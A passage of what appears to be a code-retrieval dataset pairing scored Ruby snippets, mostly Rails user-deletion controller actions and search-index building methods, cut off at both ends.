end\n\n\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15c9a1aad25a21404fc2a9ed68cd3656", "score": "0.597144", "text": "def destroy\n @user = User.find(params[:id])\n \n\n if @user.deleted\n @user.deleted = false\n else\n @user.deleted = true\n end\n @user.save\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "99178a9c6369f43631424c86bf68b515", "score": "0.5970507", "text": "def destroy\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in user Delete\"\n begin\n @user.destroy\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : user Deleted Successfully\"\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} user_controller user_delete method\" }\n end\n end", "title": "" }, { "docid": "baf99b43a04aed7e7573146f2d002fb3", "score": "0.5965551", "text": "def destroy\n @record = User.find(params[:id])\n @record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "76f740e1c5966b45a0e2c76a05270148", "score": "0.5958242", "text": "def destroy\n Log.new({user: current_user.user, \n subject: \"user:\"+current_user.user,\n operation: \"Deleted user\",\n object: \"user:\"+@user.name,\n }).save\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "60af78c8662acf1fd7506e1da22806c9", "score": "0.5957454", "text": "def destroy\n @pos_detail.destroy\n respond_to do |format|\n format.html { redirect_to pos_details_url, notice: 'Pos detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3b166b588380101a2d4da1d3015d212b", "score": "0.5957241", "text": "def destroy\n @user = User.find(params[:id])\n if @user.role == 'S'\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'Super User cannot be deleted' }\n format.json { head :no_content }\n end\n else\n @user.update_attribute(:unity_id,\"Anonymous\")\n @user.update_attribute(:first_name,\"Anonymous\")\n @user.update_attribute(:last_name, \"User\")\n @user.update_attribute(:role,'U')\n @user.update_attribute(:is_active, false)\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "155aada869e49247a924d73967955c31", "score": "0.5949836", "text": "def destroy\n @possession = Possession.find(params[:id])\n @possession.destroy\n\n respond_to do |format|\n format.html { redirect_to possessions_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "bacf3ef5100699ac889fe5b87ed4acc4", "score": "0.59483624", "text": "def destroy\n if @current_user.admin?\n @user = User.find(params[:id])\n msg = \"Deleted #{@user.logname}\"\n flash[:success] = msg\n Blog.info \"Deleted #{@user.logname}\", @current_user\n Diary.user_deleted user: @user, actor: @current_user\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n else\n flash[:error] = \"Access denied: Delete User\"\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "82fdbe17b701e389b12c1a157f127445", "score": "0.59472203", "text": "def destroy\n @posd.destroy\n respond_to do |format|\n format.html { redirect_to posds_url, notice: 'Posd was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "937928314a6134a17510d4c3b96f61e7", "score": "0.5947113", "text": "def delete_user request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_user_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "1bd8c0fed6039ac00596a1ef63577bc1", "score": "0.59415114", "text": "def delete_user\n role = params[:role]\n email = params[:email]\n begin\n @fire_cloud_client.delete_user_from_billing_project(params[:project_name], role, email)\n redirect_to merge_default_redirect_params(billing_projects_path, scpbr: params[:scpbr]), notice: \"#{email} has successfully been removed from #{params[:project_name]} as #{role}\" and return\n rescue => e\n ErrorTracker.report_exception(e, current_user, params)\n logger.error \"Unable to remove #{email} from #{params[:project_name]} due to error: #{e.message}\"\n redirect_to merge_default_redirect_params(billing_projects_path, scpbr: params[:scpbr]),\n alert: \"We were unable to remove #{email} from #{params[:project_name]} due to the following error: \" \\\n \"#{e.message}'. #{SCP_SUPPORT_EMAIL}\" and return\n end\n end", "title": "" }, { "docid": "4e922a5794ad523813b9a360cb681c96", "score": "0.5941509", "text": "def destroy?\n\n record.user == user\n\n true\n\n end", "title": "" }, { "docid": "ce57993bb6a5f4a37dfd9a61263c3f95", "score": "0.5937041", "text": "def execute\n with_soap_error_handling do\n client_call(:delete, message: request_body.to_s)[:success]\n end\n end", "title": "" }, { "docid": "355bf5fa337eba24f3258b79c0dedaff", "score": "0.5936058", "text": "def destroy\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n @status_del_examinado_paa = StatusDelExaminadoPaa.find(params[:id])\n @status_del_examinado_paa.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n \n\n respond_to do |format|\n format.html { redirect_to status_del_examinado_paas_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "2a068d8b2dec71d6c15ea693cee2610b", "score": "0.59324753", "text": "def destroy\n if @user.destroy\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end", "title": "" }, { "docid": "9b339ca8528c268fcec834e1c49f37a4", "score": "0.59298104", "text": "def destroy\n username = params[:username].blank? ? '' : params[:username]\n role = params[:role].blank? ? 0 : params[:role].to_i\n employee = params[:employee].blank? ? '' : params[:employee]\n status = params[:status].blank? ? 0 : params[:status].to_i\n pgnum = params[:pgnum].blank? ? 1 : params[:pgnum].to_i\n pgsize = params[:pgsize].blank? ? 0 : params[:pgsize].to_i\n ids = params[:id]\n \n User.delete_all(:id => ids)\n \n filters = { :username => username,\n :role => role,\n :employee => employee,\n :status => status }\n \n if username.blank? && role == 0 && employee.blank? && status == 0\n itemscount = UserHelper.item_message(nil, pgnum, pgsize)\n \n else\n itemscount = UserHelper.item_message(filters, pgnum, pgsize)\n end\n \n render :json => { :success => 1, \n :itemscount => itemscount, \n :message => \"#{ids.size} user(s) was successfully deleted.\" }\n end", "title": "" }, { "docid": "412f9b65c55c645242a8bdb8cc1c1465", "score": "0.59279853", "text": "def delete_user\n puts \"What user do you need to delete? Don't be an asshole. Only delete your own records\"\n input = Helper.query_user\n puts \"Hint: There are Easter Eggs. But where.....?\"\n if User.find_by(name: input)\n name_id_to_delete = User.find_by(name: input).id\n User.delete(name_id_to_delete)\n else\n puts \"That's not a valid user!\"\n Helper.create_space\n end\n pick_user\n end", "title": "" }, { "docid": "2f4a23d1db1bca0a7cec8d2dc9a0b778", "score": "0.59274334", "text": "def destroy\n if @user.destroy!\n render :json => {:success => true}\n else\n render :json => {:success => false, :errors => [\"Delete failed.\"]}\n end\n end", "title": "" }, { "docid": "5477f5f08f3a6f11e4022b53d2e1c337", "score": "0.5927236", "text": "def destroy\n @position_dependant = PositionDependant.find(params[:id])\n @position_dependant.destroy\n\n respond_to do |format|\n format.html { redirect_to(position_dependants_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19c9a6b0fbc4c80b8a1e32ee5812a32e", "score": "0.59265393", "text": "def delete\n @object = Person.find(params[\"person\"][\"id\"])\n @id = @object.id\n \n if @object.destroy\n \n @success_message = \"The person was successfully deleted:\"\n @add_keywords = \"\"\n \n # DELETE KEYWORD PAIRINGS FROM TABLE\n \n defunct_keywords = KeywordItem.where(\"item_type = ? AND item_id = ?\", \"Person\", @id)\n \n if defunct_keywords != []\n defunct_keywords.each {|record| record.destroy}\n end\n\n render \"person_success\"\n \n else\n admins = (User.where(\"privilege = 1\").collect {|admin| \"#{admin.user_name}, #{admin.email}\"}).join(\"<br>\")\n @error_messages = \"Something went wrong; please contact a Level One administrator:<br><br>\" + admins\n \n render \"delete_find\"\n end\n end", "title": "" } ]
12ae104d82b08a674a11827b64cc9649
build_field_idx creates a hash table of field names to indicies in a log line
[ { "docid": "c6ac38d8ae5b977e0b66af080a7a7967", "score": "0.70689404", "text": "def get_field_idx line\n\tfield_idx = {}\n\tcount = 0\n\tfield_names = line.split(\"\\s\")\n\tfield_names.each{|field_name|\n\t\tfield_idx[field_name] = count\n\t\tcount += 1\n\t}\n\n\tfield_idx\t\t\nend", "title": "" } ]
[ { "docid": "b03c74e8cbfd36af8b74b600638995be", "score": "0.6434546", "text": "def field_index(field)\n fieldIndex(field.to_s)\n end", "title": "" }, { "docid": "5f75c2cc007f57e6857b27e07a7b3ab1", "score": "0.61040884", "text": "def add_to_index(lineno, field_name, index_name, key)\n #p \"#{lineno}: Add key #{key} to index #{index_name} to field #{field_name} of #{@class_stack.last[0]}\"\n #There are many cases where there can be multiple records of the same GEDCOM type, in the parent record, so we store these in an array.\n #e.g. CHIL xrefs can occur multiple times in FAM record.\n add_to_class_field(lineno, field_name, Xref.new(index_name, *key) )\n end", "title": "" }, { "docid": "f90b3822ec7f2138bf49603ee0a3bfa2", "score": "0.6015311", "text": "def build_index\n\t\tif @index != {}\n\t\t\treturn\n\t\tend\n\n\t\tlog \"indexing protein database ...\"\n\t\n\t\t@db.each do |accession, protein|\n\t\t\tsequence = protein.sequence\n\t\t\t(0 ... sequence.length - @index_length - 1).each do |i|\n\t\t\t\tsubseq = sequence[i .. i + @index_length - 1]\n\t\n\t\t\t\tif not @index.has_key?(subseq)\n\t\t\t\t\t@index[subseq] = []\n\t\t\t\tend\n\t\t\t\t@index[subseq] << accession\n\t\t\tend\n\t\tend\n\t\n\t#\t@index.each do |key, value| \n\t#\t\tlog \"#{key} in #{value.length} proteins\"\n\t#\tend\n\tend", "title": "" }, { "docid": "e722898581d62432787ab54e164cdde2", "score": "0.5931415", "text": "def build_index\n # create indices for the metadata\n metadata.each do\n |inf|\n\n attr, type, keys = inf[\"attr\"], inf[\"type\"], inf[\"keys\"]\n\n # find index class\n idx_class = Marty::DataGrid.type_to_index(type)\n\n keys.each_with_index do\n |k, index|\n\n gi = idx_class.new\n gi.attr = attr\n gi.key = k\n gi.created_dt = created_dt\n gi.data_grid_id = group_id\n gi.index = index\n gi.save!\n end\n end\n end", "title": "" }, { "docid": "f6f5cca1003cb2d8ac9c8ca71541eab6", "score": "0.5857075", "text": "def build_index\n index = {}\n File.('alice.txt').each.with_index do |line, idx|\n clean(line).scan(/\\w+/).each do |word|\n next if STOPWORDS.include?(word)\n (index[word] ||= []) << idx\n end\n string_length += line.length\n end\n index\nend", "title": "" }, { "docid": "27432d98552dc8c2b571286856fd130a", "score": "0.5774146", "text": "def indices\n @indices ||= @lines.map { |line|\n if line.strip =~ /^(UNIQUE )?KEY #{BACKTICK_WORD} #{BACKTICK_CSV}/\n unique = !!$1\n name = $2\n column_names = backtick_names_in_csv($3)\n table_part line, MysqlInspector::Index.new(name, column_names, unique)\n elsif line.strip =~ /^PRIMARY KEY #{BACKTICK_CSV}/\n unique = true\n name = \"PRIMARY KEY\"\n column_names = backtick_names_in_csv($1)\n table_part line, MysqlInspector::Index.new(name, column_names, unique)\n end\n }.compact.sort\n end", "title": "" }, { "docid": "5d2e1622cda2be19e1453c94fe1affae", "score": "0.57731867", "text": "def build_incremental_index\n index = {}\n File.open('alice.txt') do |file| # auto close file\n line_pos = 0\n file.each_line do |line|\n clean(line).scan(/\\w+/).each do |word|\n next if STOPWORDS.include?(word)\n (index[word] ||= []) << line_pos\n end\n line_pos = file.pos\n end\n end\n index\nend", "title": "" }, { "docid": "c13933890e18eee3ce4e6546ea8fccff", "score": "0.57499754", "text": "def process_field(field_name)\n if ['id', 'parent_id', 'project_id', 'section_id', 'kpath', 'name', 'event_at', 'custom_a', 'idx_foo1' , 'amount'].include?(field_name)\n \"#{table}.#{field_name}\"\n elsif field_name == 'REF_DATE'\n context[:ref_date] ? insert_bind(context[:ref_date]) : 'now()'\n elsif %w{age size}.include?(field_name)\n tbl = add_key_value_table('idx', 'idx_nodes', field_name) do |tbl_name|\n # This block is only executed once\n \"#{tbl_name}.node_id = #{table}.id AND #{tbl_name}.key = #{quote(field_name)}\"\n end\n\n \"#{tbl}.value\"\n else\n super # raises an error\n end\n end", "title": "" }, { "docid": "2072ab185e3164ac3d21cfcc660fd326", "score": "0.5747175", "text": "def format_field_index(field, index = nil)\n # When there are no values in the field array\n # the current id should be the default id, so don't pass any index back\n if field.present?\n # When index is nil, we're looking at the last element\n # which should have an index one greater than the last one\n # Example:\n #\n # field = [\"Value1\",\"Value2\"]\n # return 2 # Then call the next element \"id_prefix2\"\n return field.length if index.nil?\n # When index is not 0 and is not nil (nil.to_i === 0)\n # Return that index, so that\n # Example:\n #\n # field = [0 => \"Value1\", 1 => \"Value2\"]\n # format_field_index(field, 0) === nil\n # format_field_index(field, 1) === 1\n return index if index.to_i > 0\n end\n end", "title": "" }, { "docid": "2fcfc0461c63137ad49f009c4a6624f0", "score": "0.57270086", "text": "def build_indices\r\n end", "title": "" }, { "docid": "18c9e46f5b34890771c4da7d5d0f8d34", "score": "0.5699699", "text": "def build_index\n index = {}\n\n right.each do |tuple|\n (index[join_tuple(tuple)] ||= Set.new) << remainder_tuple(tuple)\n end\n\n index\n end", "title": "" }, { "docid": "ba8a362414b9da337a7ac2b6dba922b4", "score": "0.5696122", "text": "def build_index\n Index.new(@outer, @attribute.header).merge(operand)\n end", "title": "" }, { "docid": "15d7a156faa7c874e1362175613afb0d", "score": "0.56835127", "text": "def index_field_names document=nil\n index_fields(document).keys\n end", "title": "" }, { "docid": "eb81826207509f71528f0837d11c1c6b", "score": "0.5627972", "text": "def build_lookup_method(index_field_position,index_fields,lookup_table_name)\n \n lines = Array.new\n field = index_fields[index_field_position]\n field_plural = Inflector.pluralize(field)\n \n method_name = \"def self.\" + field_plural + \"_for_\"\n # iterate from the position just before the current position to\n # the first position of the passed-in index_fields (and add each field to the method name)\n query_fields = index_fields.reverse\n new_pos = index_fields.length - index_field_position\n params = \"(\"\n for i in new_pos ..index_fields.length-1\n params += query_fields[i]\n method_name += query_fields[i] \n if i < index_fields.length-1\n method_name += \"_and_\"\n params += \", \"\n end\n end\n \n params += \")\"\n lines.push(method_name + params + \"\\n\")\n line= \"\\t\" + field_plural + \" = \" + Inflector.camelize(Inflector.singularize(lookup_table_name))\n line += \".find_by_sql(\\\"Select distinct \" + field + \" from \" + lookup_table_name \n line += \" where \"\n # '#{country}'\n for i in new_pos ..index_fields.length-1\n line += query_fields[i] + \" = '\\#{\" + query_fields[i] + \"}'\"\n line += \" and \" if i < index_fields.length-1\n end \n \n line += \"\\\").map{|g|[g.\" + field + \"]}\"\n lines.push(line+ \"\\n\")\n # lines.push( \"\\t\" + field_plural + \".unshift(\\\"<empty>\\\")\")\n lines.push(\" end\")\n \n end", "title": "" }, { "docid": "86252b621b6f9ad1e3ba815f0fa54bb5", "score": "0.56038964", "text": "def field_index( which )\n if which.is_a?( Integer )\n i = which < 0 ? which : which - 1\n i # field count starts at 1, but array index starts at 0\n elsif ( which.is_a?(String) || which.is_a?(Symbol) ) && self.class.is_eigenclass? # @field_index_maps is defined?\n s = which.downcase.to_sym\n i = field_index_maps[s]\n i ? i - 1 : @@no_index_val\n else\n puts \"Cannot find field of type #{which.class}\"\n @@no_index_val\n end\n end", "title": "" }, { "docid": "185a5105bad638764076de710d396613", "score": "0.5600377", "text": "def build_index(x)\n # Initialize some variables.\n @n_samples = x.shape[0]\n @n_features = x.shape[1]\n @hash_table = {}\n @weight_mat = Utils.rand_normal([@n_features, @code_length], @rng)\n # Convert samples to binary codes.\n bin_x = hash_function(x)\n # Store samples to binary hash table.\n codes = []\n @n_samples.times do |m|\n bin_code = bin_x[m, true]\n hash_key = symbolized_hash_key(bin_code)\n unless @hash_table.key?(hash_key)\n codes.push(bin_code.to_a)\n @hash_table[hash_key] = []\n end\n @hash_table[hash_key].push(m)\n end\n @hash_codes = Numo::Bit.cast(codes)\n # Update some variables.\n @n_keys = @hash_codes.shape[0]\n @last_id = @n_samples\n self\n end", "title": "" }, { "docid": "6aa8478e354a91a6a7a9a68c9247ba3f", "score": "0.55869544", "text": "def _make_indexes\n %i(gender age height index money).each do |attr|\n index = {}\n @persons.each do |p|\n hash = _calc_hash(p.send(attr))\n index[hash] ||= []\n index[hash] += [p.object_id]\n end\n # index - an instance variable that stores Hash\n instance_variable_set \"@#{attr}_index\", index\n end\nend", "title": "" }, { "docid": "5882399e6d10cab1e2e8ca90544351eb", "score": "0.55623966", "text": "def build_index\n index = scan_into_index\n cache_index(index)\n index\n end", "title": "" }, { "docid": "5882399e6d10cab1e2e8ca90544351eb", "score": "0.55623966", "text": "def build_index\n index = scan_into_index\n cache_index(index)\n index\n end", "title": "" }, { "docid": "0103af50164e853b1c7edcd583c80135", "score": "0.5559111", "text": "def save_hash_field_order\n index = 0\n\n fields.each do |field|\n if Hash === field.node\n field.index = index\n index += 1\n end\n end\n end", "title": "" }, { "docid": "6890c65140b64349218d0a6b325bcef4", "score": "0.5480956", "text": "def collect_index(l) # Pass 1\n l.line.scan(/@<(kw|h?idx)>{([^,}]+)(,([^}]*?)(,([^}]+))?)?}/) do\n emph = ($1 == 'kw')\n kw = $2\n yomi = $4 || ''\n emph = true if $6\n sec = section_id($state.matter, $state.secno, $state.secdepth)\n $index.put(sec, kw, (yomi == '') ? kw : yomi, emph, $state.footnote)\n end\n l\nend", "title": "" }, { "docid": "f808fdd8c63d1781f4ab0f9811b376af", "score": "0.5464784", "text": "def idx_line(line)\n return 3 * (3 * (3 * (3 * (3 * (3 * (3 * (line[0] + 1) + line[1] + 1) + line[2] + 1) + line[3] + 1) + line[4] + 1) + line[5] + 1) + line[6] + 1)+ line[7] + 1\n end", "title": "" }, { "docid": "9328292271058bb5aa6544be421aec51", "score": "0.54633385", "text": "def [] index\n return \"#{@fields[index]}\" if index.is_a? Integer\n \"#{@fields[@table.indexes[index.to_sym]]}\"\n end", "title": "" }, { "docid": "4a2011e14616b368b206cc3d506d7547", "score": "0.5415321", "text": "def make_indexed_key(key, index)\n if key == \"opening_hours\"\n return key + \"_\" + WEEKDAYS[index]\n elsif key == \"materials\" + \"_\" + MATERIALS[index]\n return\n end\n end", "title": "" }, { "docid": "9360a57b66e8b5d1282d3f59141eacbf", "score": "0.54144174", "text": "def identifier_from_hash(fields)\n identifier = \"indexed_struct_#{fields.size}_lt_\"\n\n type_parts = fields.map do |key, value|\n value.to_c_type\n end\n\n identifier = identifier + type_parts.join(\"_\")\n\n return identifier + \"_gt_t\"\n end", "title": "" }, { "docid": "28893eb321512bac4c012841ad31deab", "score": "0.53954023", "text": "def index_field_label(lens, field)\n field = field.to_s\n return '' unless field.present?\n lens = lens_key_for(lens)\n field_def = index_fields(lens)[field]\n field_label(\n :\"blacklight.#{lens}.search.fields.index.#{field}\",\n :\"blacklight.#{lens}.search.fields.#{field}\",\n :\"blacklight.search.fields.index.#{field}\",\n :\"blacklight.search.fields.#{field}\",\n field_def&.label,\n field.humanize\n )\n end", "title": "" }, { "docid": "ff96b8096dd4f06a803e9aafac1d67da", "score": "0.5392414", "text": "def field_name(row_index, field_index)\n field_index += 1\n return \"#{translate_row(row_index, true)}#{field_index}\"\n end", "title": "" }, { "docid": "18435027c722b127e6c566bedc7dd696", "score": "0.538513", "text": "def build_index(column)\n map = {}\n @table.each_with_index do |row, idx|\n val = row[column]\n unless val.nil?\n map[val] = Set.new if map[val].nil?\n map[val] = map[val] << idx\n end\n end\n map\n end", "title": "" }, { "docid": "459cce708ff8de6d9313902f2905c4e7", "score": "0.53587025", "text": "def comp_add_record_field(view, section, record, field, ridx)\n row = {\n :col0 => _(field[:header]),\n :id => \"id_#{@rows.length}\",\n :indent => 2,\n :parent => @record_parent_id,\n :node_parent => section[:name].to_s.gsub(/[\\.]/, '_'),\n :parent_section => \"#{section[:name]}_#{ridx}\".to_s.gsub(/[\\.]/, '_'),\n :record_field => true\n }\n\n if @compressed # Compressed\n row.merge!(comp_add_record_field_compressed(view, section, record, field))\n else # Expanded\n row.merge!(comp_add_record_field_expanded(view, section, record, field))\n end\n @rows << row\n end", "title": "" }, { "docid": "a7d5082660b9da2878f01a84380905b1", "score": "0.5348087", "text": "def create_index(lineno, index_name, key, value)\n if index_name != nil\n if @indexes[index_name] == nil\n #puts \"#{lineno}: create index #{index_name}\"\n @indexes[index_name] = {} #empty hash\n end\n if key != nil\n #p \"#{lineno}: Add (key,value) #{key} => #{@class_stack.last[0]} to index #{index_name}\"\n if @indexes[index_name][key] != nil\n raise \"duplicate key #{key} in index #{index_name}\"\n end\n @indexes[index_name][key] = value\n end\n end\n end", "title": "" }, { "docid": "1eb51dbf8e408584a4f814d1ad742b6b", "score": "0.5331897", "text": "def create_search_indexes(facet)\n \"config.add_search_field('#{facet}') do |field| \\r\n \\t#{facet}_field = Solrizer.solr_name('#{facet}', :stored_searchable) \\r\n \\tfield.solr_local_parameters = { \\r\n \\t\\tqf: #{facet}_field, \\r\n \\t\\tpf: #{facet}_field \\r\n \\t} \\r\n end \\n\\r\"\nend", "title": "" }, { "docid": "db15f2439becfedb65f9979430e7e8b9", "score": "0.5324184", "text": "def field_name_to_index(sym)\n raise \"#{sym} not known as a field to retain\" if (a = FIELD_DEFINITIONS[sym]).nil?\n a[0]\n end", "title": "" }, { "docid": "1e55b19c5ba278a6cde9d4559c07a4dc", "score": "0.53224343", "text": "def generate_index_report(index, classified_fields, sort_hash)\n eq_fields = classified_fields[:equal_type].uniq\n sort_fields = classified_fields[:sort_type] # these are already unique\n range_fields = classified_fields[:range_type].uniq\n all_fields = eq_fields | sort_fields | range_fields\n\n # we are interested in the maximal prefix of the index that\n # contains only fields from the query\n index = index.take_while{|k,v| all_fields.include? k}\n index = Hash[*index.flatten]\n\n if index.values.include?(\"2d\")\n return {:geospatial => true, :coverage => nil, :ideal_order => nil}\n end\n\n # evaluate the coverage quality\n covered_fields = (index.keys & all_fields).length\n if covered_fields == 0\n coverage = :none\n elsif covered_fields == all_fields.length\n coverage = :full\n else\n coverage = :partial\n end\n\n # evaluate the order quality\n ideal_order = true\n\n # eq_fields should be contained in a contiguous prefix of the index\n prefix = index.keys.take_while{|k,v| eq_fields.include? k}\n if prefix.sort != eq_fields.sort\n ideal_order = false\n end\n\n # when we discard eq_fields, the remaining sort_fields should be equal to\n # a contiguous prefix of the index\n remaining = sort_fields - eq_fields\n remaining_index = index.keys.reject{|field| eq_fields.include? field}\n if remaining_index.take(remaining.length) != remaining\n ideal_order = false\n end\n\n # index has to be sorted in the same manner as we require in sort_hash\n # (even if a field is included in eq_fields)\n sort_manner = index.find_all{|k,v| sort_hash.keys.include? k}\n if sort_manner != sort_hash.to_a\n ideal_order = false\n end\n {:coverage => coverage, :ideal_order => ideal_order, :geospatial=> false}\n end", "title": "" }, { "docid": "e22bc3a3cf99f46b22d57b0007bf3350", "score": "0.53017616", "text": "def field_at(index)\n end", "title": "" }, { "docid": "2cab13789918292088b12cd63ee96d5b", "score": "0.52862096", "text": "def generate_idxs( opts={}, skip_elem=[], skip_idx=[], level=nil )\n\t\tidx = []\n\t\tenumerate_log( opts, skip_elem, skip_idx, level ) do | log |\n\t\t\tidx << log['idx'] if log['message']\n\t\tend\n\t\treturn idx\n\tend", "title": "" }, { "docid": "69d90f59a6c63b9f4695984153f1c57d", "score": "0.52811986", "text": "def get_gps_index(log_ver, field_name)\n case field_name\n when \"GPS_TS\"\n (log_ver.to_f < 0.2) ? 68 : 7\n when \"GPS_EAST\"\n (log_ver.to_f < 0.2) ? 17 : 22\n when \"GPS_NORTH\"\n (log_ver.to_f < 0.2) ? 18 : 23\n when \"GPS_HEIGHT\"\n (log_ver.to_f < 0.2) ? 81 : 25\n when \"GPS_THETA\"\n (log_ver.to_f < 0.2) ? 19 : 24\n when \"GPS_STATE\"\n (log_ver.to_f < 0.2) ? 20 : 37\n when \"GPS_CONF\"\n (log_ver.to_f < 0.2) ? 130 : 28\n when \"GPS_ALPHA\"\n (log_ver.to_f < 0.2) ? 82 : 26\n when \"GPS_BETA\"\n (log_ver.to_f < 0.2) ? 83 : 27\n else\n -1\n end\nend", "title": "" }, { "docid": "b73efa8e3f9ff59767aba575d2178919", "score": "0.52666557", "text": "def index_field(field = nil)\n @index_field = field unless field.nil?\n @index_field\n end", "title": "" }, { "docid": "cf75d3720d8cc4c6a60f0923db8e10bb", "score": "0.5256598", "text": "def hexists(key, field); end", "title": "" }, { "docid": "cf75d3720d8cc4c6a60f0923db8e10bb", "score": "0.5256598", "text": "def hexists(key, field); end", "title": "" }, { "docid": "77b3fdbb4384f9e47dc38195aeeba409", "score": "0.5241988", "text": "def update_field_descriptor_indexes\n # Update the index value in the attributes list\n self.field_descriptors.each_with_index do |field, i|\n field.index = i + 1\n end\n end", "title": "" }, { "docid": "c9b2d35717596b52545606af1eef4b77", "score": "0.52202463", "text": "def index field_or_fields, options={}\n options[:name] = options.delete(:as) || options.delete(:name) || connection.index_name(table_name, :column => field_or_fields)\n idx = ::DynamicFields::Index.new(field_or_fields, options)\n indices << idx unless index_ids.include?(idx.id)\n end", "title": "" }, { "docid": "15e60b705ea387455f1e779780f812e2", "score": "0.52179354", "text": "def make_index\n output = ''\n @previous_char = nil\n @running_head = 'X'\n @index_array.each do |index_pair|\n reference_list = index_pair[0]\n output << heading(reference_list)\n output << index_pair_to_index_item(index_pair, 1)\n end\n @index = output\n end", "title": "" }, { "docid": "d505e2cbd8cb59d1478b4a1fe4a01c04", "score": "0.52177906", "text": "def generate_indices location, output, pdftk\n keys = pdftk.get_field_names location\n indices = Hash.new\n keys.each_with_index {|key, index| indices[key] = index}\n pdftk.fill_form location, output, indices\n end", "title": "" }, { "docid": "a067a89d18c3d12a612c39db30c0f7de", "score": "0.52059925", "text": "def get_doc_field_vector(dno)\n return $dfv[dno] if $dfv[dno]\n dno = to_dno(dno) if dno.class == String\n return nil if !dno\n begin\n dv = get_index_info(\"dv\", dno).split(/--- .*? ---\\n/) \n # Get the range of each field\n fields = dv[1].split(\"\\n\").find_all{|l|!l.include?(\"document \")}.\n map_hash{|l|e = l.split(\" \") ; [(e[1].to_i...e[2].to_i) , e[0]]}\n #return nil if fields.values.size != fields.values.uniq.size\n $dfv[dno] = dv[2].split(\"\\n\").map{|l|l.split(\" \")}.\n group_by{|e|f = fields.find{|k,v|k === e[0].to_i} ; (f)? f[1] : nil }.\n map_hash{|k,v|[k, v.map{|e|e[2]}]} \n rescue Exception => e\n p dv\n nil\n end\n end", "title": "" }, { "docid": "d925c7d3beb20e0c60cb0cae93a26e55", "score": "0.52006334", "text": "def create_table_source_index \n create_table_index TABLE_SOURCE_INDEX\n Logger.<<(__FILE__,\"INFO\",\"Created table source index for monitors ..\")\n end", "title": "" }, { "docid": "03dbab9ee8b65e1509d8e3676592bc7a", "score": "0.5200112", "text": "def build_index\n new_index = {}\n \n @stream.rewind\n \n until @stream.eof?\n raw_header = @stream.read(512)\n break if raw_header == \"\\0\" * 512\n \n header = Archive::Tar::Format::unpack_header(raw_header)\n if @options[:use_normalized_paths]\n header[:path] = normalize_path(header[:path])\n end\n \n unless header[:type] == :pax_global_header\n new_index[header[:path]] = [ header, @stream.tell ]\n end\n \n @stream.seek(header[:blocks] * 512, IO::SEEK_CUR)\n end\n \n @index = new_index\n end", "title": "" }, { "docid": "95166c84b6fcbbc032ac86ef53d52384", "score": "0.51982254", "text": "def create_unique_tx_index(cremul_msg, cremul_msg_line, cremul_tx)\n file_hash = @cremul_file_hash[0, 8].force_encoding('utf-8')\n \"#{file_hash}:msg#{cremul_msg.message_index}:line#{cremul_msg_line.line_index}:tx#{cremul_tx.tx_index}\"\n end", "title": "" }, { "docid": "a181a801d7da8ecba7507b57476f92c6", "score": "0.51929224", "text": "def create_field_values_hash(column, fields)\n attrs = {}\n fields.inject(1) do |n, f|\n attrs[f] = [n, column]\n n * 2\n end\n return attrs\n end", "title": "" }, { "docid": "9727e24236a1f56324fe214ddc072756", "score": "0.51827425", "text": "def indexed_fields\n @indexed_fields ||= { \n member_ids: { join: true },\n alternate_ids: { join: true }\n }.merge(config.fetch(:indexed_fields, {}))\n end", "title": "" }, { "docid": "11eaafed7d9d5ceffe2322f75d8e4b2e", "score": "0.5164541", "text": "def build_row_map(field_names, row)\n @row_map = HashWithIndifferentAccess.new\n Logger.log_as_sub_header \"Mapping fields to cells\"\n row.dup.each_with_index do |cell, index|\n # Sanitise\n field_name = DriveTime.underscore_from_text(field_names[index])\n Logger.debug \"- #{field_name} -> #{row[index]}\"\n field_value = row[index]\n field_value.strip! if field_value.present?\n @row_map[field_name] = field_value\n end\n end", "title": "" }, { "docid": "4f686bc7b2bbfd505336f029198cf10d", "score": "0.5149387", "text": "def build(field_name)\n metadata = @model_decorator.index_metadata_of field_name\n label = Utils.to_field_label field_name, metadata\n return label unless sortable? field_name, metadata\n sort_field_name = metadata[:sort_field_name] || field_name\n url_params = next_builder.next_params sort_field_name\n @helper.index_link(model_class, url_params: url_params) { label }\n end", "title": "" }, { "docid": "36f4a07cf0b7fa362ef77e98210d0ab9", "score": "0.5149141", "text": "def declare_document_index(*args)\n # TODO: Update this method to support new column-namespaced attributes\n column_name = args.shift; raise NoColumnNameSpecified unless column_name\n field_name = args.shift; raise NoFieldNameSpecified unless field_name\n 